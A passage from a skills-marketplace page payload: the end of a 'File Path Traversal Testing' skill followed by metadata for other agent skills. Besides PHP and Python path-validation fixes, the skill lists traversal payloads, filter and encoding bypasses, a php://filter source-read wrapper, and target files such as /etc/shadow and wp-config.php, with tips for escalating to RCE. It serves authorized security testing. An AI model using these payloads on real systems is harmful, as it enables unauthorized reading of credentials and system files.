(in_array($_GET['file'], $allowed)) {\n    include(\"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $_GET['file']);\n}\n\n\u002F\u002F PHP: Canonicalize and verify base path\n$base = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\";\n$realBase = realpath($base);\n$userPath = $base . $_GET['file'];\n$realUserPath = realpath($userPath);\n\nif ($realUserPath && strpos($realUserPath, $realBase) === 0) {\n    include($realUserPath);\n}\n```\n\n```python\n# Python: Use os.path.realpath() and validate\nimport os\n\ndef safe_file_access(base_dir, filename):\n    # Resolve to absolute path\n    base = os.path.realpath(base_dir)\n    file_path = os.path.realpath(os.path.join(base, filename))\n    \n    # Verify file is within base directory\n    if file_path.startswith(base):\n        return open(file_path, 'r').read()\n    else:\n        raise Exception(\"Access denied\")\n```\n\n## Quick Reference\n\n### Common Payloads\n\n| Payload | Target |\n|---------|--------|\n| `..\u002F..\u002F..\u002Fetc\u002Fpasswd` | Linux password file |\n| `..\\..\\..\\..\\windows\\win.ini` | Windows INI file |\n| `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` | Bypass simple filter |\n| `\u002Fetc\u002Fpasswd` | Absolute path |\n| `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php` | Source code |\n\n### Target Files\n\n| OS | File | Purpose |\n|----|------|---------|\n| Linux | `\u002Fetc\u002Fpasswd` | User accounts |\n| Linux | `\u002Fetc\u002Fshadow` | Password hashes |\n| Linux | `\u002Fproc\u002Fself\u002Fenviron` | Environment vars |\n| Windows | `C:\\windows\\win.ini` | System config |\n| Windows | `C:\\boot.ini` | Boot config |\n| Web | `wp-config.php` | WordPress DB creds |\n\n### Encoding Variants\n\n| Type | Example |\n|------|---------|\n| URL Encoding | `%2e%2e%2f` = `..\u002F` |\n| Double Encoding | `%252e%252e%252f` = `..\u002F` |\n| Unicode | `%c0%af` = `\u002F` |\n| Null Byte | `%00` |\n\n## Constraints and Limitations\n\n### Permission Restrictions\n- Cannot read files application user cannot access\n- Shadow file requires root privileges\n- Many files have restrictive permissions\n\n### Application Restrictions\n- Extension validation may limit file types\n- Base path validation may restrict scope\n- WAF may block common payloads\n\n### Testing Considerations\n- Respect authorized scope\n- Avoid accessing genuinely sensitive data\n- Document all successful access\n\n## Troubleshooting\n\n| Problem | Solutions |\n|---------|-----------|\n| No response difference | Try encoding, blind traversal, different files |\n| Payload blocked | Use encoding variants, nested sequences, case variations |\n| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |\n",{"name":5,"metadata":51,"description":7},{"author":52,"version":53},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Ffile-path-traversal",3931,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-14 06:14:46",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"File Path Traversal Testing\"",{"tool":70,"command":71},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"File Path Traversal Testing\"",{"tool":73,"command":74},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"File Path Traversal Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Ffile-path-traversal\u002FSKILL.md",true,[],[79,105,132,164,197,217],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":86,"publishedAt":46},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[85],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[87,88,89,90,91,34,92,93,94,33,95,96,97,98,99,100,101,102,103,104],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":112,"publishedAt":46},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[111],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[113,114,115,116,117,118,119,120,121,122,123,33,124,125,126,127,128,129,130,131],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":147,"publishedAt":46},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[138,141,142],{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":143,"categoryName":144,"taxonomyType":145,"taxonomyTypeDesc":146},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[148,149,150,151,152,153,154,34,155,156,157,158,159,160,161,94,39,162,33,163],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","database","query",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":169,"sourceHtmlUrl":170,"categories":171,"keywords":175,"publishedAt":46},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[172],{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[176,42,177,178,179,180,181,182,183,184,185,186,187,28,188,189,190,191,192,193,194,195,34,196],"artifacts builder","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":201,"sourceHtmlUrl":202,"categories":203,"keywords":206,"publishedAt":46},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[204,205],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},[207,31,208,209,210,42,41,185,186,211,212,213,214,34,215,96,216],"webapp testing","webapp","browser","playwright","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":221,"sourceHtmlUrl":222,"categories":223,"keywords":231,"publishedAt":46},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[224,227,228],{"categoryNo":225,"categoryName":226,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":229,"categoryName":230,"taxonomyType":145,"taxonomyTypeDesc":146},"01JBSEEDCAT000000000000036","内容创作者",[232,233,234,235,236,237,238,239,178,240,28,124,241,242,243,244,245,160,246,33,247,248,249,250,251,102,252],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]